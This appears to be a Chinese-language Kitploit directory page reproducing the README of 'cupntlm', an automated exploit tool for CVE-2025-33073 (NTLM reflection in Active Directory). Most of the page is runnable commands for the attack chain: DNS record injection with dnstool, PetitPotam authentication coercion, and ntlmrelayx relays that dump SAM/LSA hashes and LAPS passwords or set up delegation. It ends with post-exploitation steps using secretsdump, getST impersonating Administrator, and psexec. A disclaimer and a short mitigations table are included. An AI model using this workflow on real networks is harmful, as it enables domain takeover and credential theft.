Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cupntlm-Automated-Exploit-For-CVE-2025-33073- — cupntlm | Kitploit
工具/GitHubGitHub/egcupcake/cupntlm-automated-exploit-for-cve-2025-33073-
权限提升侦察漏洞分析漏洞利用横向移动信息收集后渗透利用渗透测试命令与控制

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
身份验证
红队
DNS 分析
GitHubegcupcake/cupntlm-automated-exploit-for-cve-2025-33073-

cupntlm-Automated-Exploit-For-CVE-2025-33073-

cupntlm

查看仓库
335个月前尚未审核

cupntlm

CVE-2025-33073 — 通过 DNS 强制认证绕过 NTLM 反射
用于 Active Directory 环境的自动化利用工具。


概述

cupntlm 自动化了利用 CVE-2025-33073 的 NTLM 反射/中继攻击链。它将 DNS 记录注入、强制身份认证(PetitPotam)和 NTLM 中继整合到单个工作流中。该工具支持两种运行模式,具体取决于范围与隐蔽性要求。

攻击链概要

root@kitploit:~
Attacker                    Domain Controller              Target Host
   │                               │                            │
   │── 1. Inject DNS record ───────▶│                            │
   │      (attacker IP as target)   │                            │
   │                                │                            │
   │── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
   │                                │                            │
   │◀─ 3. NTLM auth forwarded back ─────────────────────────────│
   │                                │                            │
   │── 4. Relay to DC ─────────────▶│                            │
   │      (ntlmrelayx)              │                            │
   │                                │                            │
   │◀─ 5. Shell / secretsdump / etc.│                            │

目标网络上的前提条件:

  • 中继目标上 禁用 SMB 签名
  • 一个有效的低权限域账户(只读权限即可)
  • 能够访问域控(端口 389 LDAP、445 SMB)

环境要求

系统包

Python 库

Library安装
impacketpip3 install impacket --break-system-packages
coloramapip3 install colorama --break-system-packages
dnspythonpip3 install dnspython --break-system-packages

exploit/ 目录内容(由 setup.sh 自动填充)

root@kitploit:~
exploit/
├── cupntlm.py
├── ntlmrelayx.py       # from impacket
├── dnstool.py          # from krbrelayx
├── lib/                # krbrelayx support library
└── PetitPotam.py

安装

root@kitploit:~
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh

使用方法

检查模式 — 验证攻击可行性

检查目标上的 SMB 签名状态,并在尝试任何操作之前验证域凭据。

root@kitploit:~
cd exploit
sudo python3 cupntlm.py check \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100

逐目标模式 — 每个主机独立 DNS 记录

为每个目标创建唯一的 DNS 记录,逐个触发强制认证,并在每次迭代之间清理记录。速度较慢,但更精确,留下的噪音更少。

root@kitploit:~
sudo python3 cupntlm.py per-target \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

单一模式 — 单个 DNS 记录,持续中继

注入单个 DNS 记录,并在遍历所有目标时保持 ntlmrelayx 持续运行。对于大规模范围更快。

root@kitploit:~
sudo python3 cupntlm.py single \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

targets.txt 格式

root@kitploit:~
192.168.1.10
192.168.1.11
192.168.1.12

手动利用

以下步骤在不使用 cupntlm.py 的情况下手动复现完整攻击链。有助于理解基本原理、调试或适配非标准环境。

步骤 1 — 枚举 SMB 签名

识别禁用 SMB 签名的主机。这些主机是有效的中继目标。

root@kitploit:~
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt

或者使用 nmap:

root@kitploit:~
nmap -p 445 --script smb2-security-mode 192.168.1.0/24

查找:

root@kitploit:~
Message signing enabled but not required   ← valid relay target
Message signing enabled and required       ← cannot relay here

步骤 2 — 注入恶意 DNS 记录

使用 dnstool.py 在域 DNS 中添加一条 A 记录,将主机名指向你的机器。当目标解析该主机名并进行身份认证时,请求会到达你的中继监听器。

root@kitploit:~
cd exploit/

python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action add \
  --record 'attacker-relay' \
  --data 192.168.45.200 \        # your attacker IP
  --type A \
  10.0.0.1                       # DC IP

验证记录是否已添加:

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action query \
  --record 'attacker-relay' \
  10.0.0.1

步骤 3 — 启动 NTLM 中继监听器

在触发强制认证之前启动 ntlmrelayx.py。它将等待并接收传入的身份认证。

中继到 SMB — 导出 SAM/LSA:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t smb://192.168.1.100 \
  -smb2support \
  --no-http-server

中继到 LDAP — 创建新的机器账户(用于 RBCD / 影子凭据):

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldap://10.0.0.1 \
  --delegate-access \
  --no-smb-server \
  --no-http-server

中继到 LDAPS — 导出域机密:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldaps://10.0.0.1 \
  --dump-laps \
  --no-smb-server \
  --no-http-server

步骤 4 — 使用 PetitPotam 强制认证

触发目标机器向外对你注入的 DNS 记录进行身份认证。PetitPotam 滥用 MS-EFSRPC 接口 — 在未修补的主机上无需凭据,已修补的主机则需要使用有效凭据。

未认证(未修补目标):

root@kitploit:~
python3 PetitPotam.py \
  [dnsname] \         # your listener IP (matches DNS record)
  192.168.1.50             # target host to coerce

已认证(已修补目标,需要有效凭据):

root@kitploit:~
python3 PetitPotam.py \
  -u pentester \
  -p 'P@ss' \
  -d lab.local \
   [dnsname] \
  192.168.1.50

此时,被强制认证的主机会将其 NTLM 身份认证发送到你的机器 → ntlmrelayx 捕获并中继该认证。


步骤 5 — 收集输出

取决于你在步骤 3 中选择的中继目标:

  • SMB 中继 → ntlmrelayx 将哈希转储到 stdout,并写入 <hostname>_samhashes.txt / _lsahashes.txt
  • LDAP 委派访问 → ntlmrelayx 打印所创建的机器账户名称和密码;随后使用 getST.py 获取服务票据
  • LDAPS 转储 → 直接打印 LAPS 密码

步骤 6 — 清理 DNS 记录

测试结束后务必移除注入的 DNS 记录。

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action remove \
  --record 'attacker-relay' \
  --data 192.168.45.200 \
  --type A \
  10.0.0.1

后渗透利用示例

使用中继的机器账户进行哈希传递:

root@kitploit:~
impacket-secretsdump \
  'lab.local/MACHINE$'@10.0.0.1 \
  -hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>

获取 S4U2Self 的服务票据(RBCD 之后):

root@kitploit:~
impacket-getST \
  -spn cifs/TARGET.lab.local \
  -impersonate Administrator \
  'lab.local/ATTACKERMACHINE$:password'

使用该票据:

root@kitploit:~
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local

缓解措施

控制项效果
在全部主机上启用 SMB 签名(必需)中断到 SMB 的中继
启用 LDAP 签名与通道绑定中断到 LDAP/LDAPS 的中继
修补 MS-EFSRPC(KB5005413)阻止未认证的 PetitPotam

免责声明

本工具仅供授权的渗透测试与安全研究使用。
请勿将其用于未经明确书面许可进行测试的系统。


致谢

  • fortra/impacket — ntlmrelayx
  • dirkjanm/krbrelayx — dnstool
  • topotam/PetitPotam — EFS 强制认证
下载工具
Tool用途
python3运行时
pip3Python 包管理器
git克隆依赖
wget下载文件
nmapSMB 签名枚举
netexec / crackmapexecSMB 签名检查(可选)
将 DNS 记录创建权限限制为管理员阻断 DNS 注入步骤
禁用 NTLM 网络身份认证(优先使用 Kerberos)消除整个攻击类别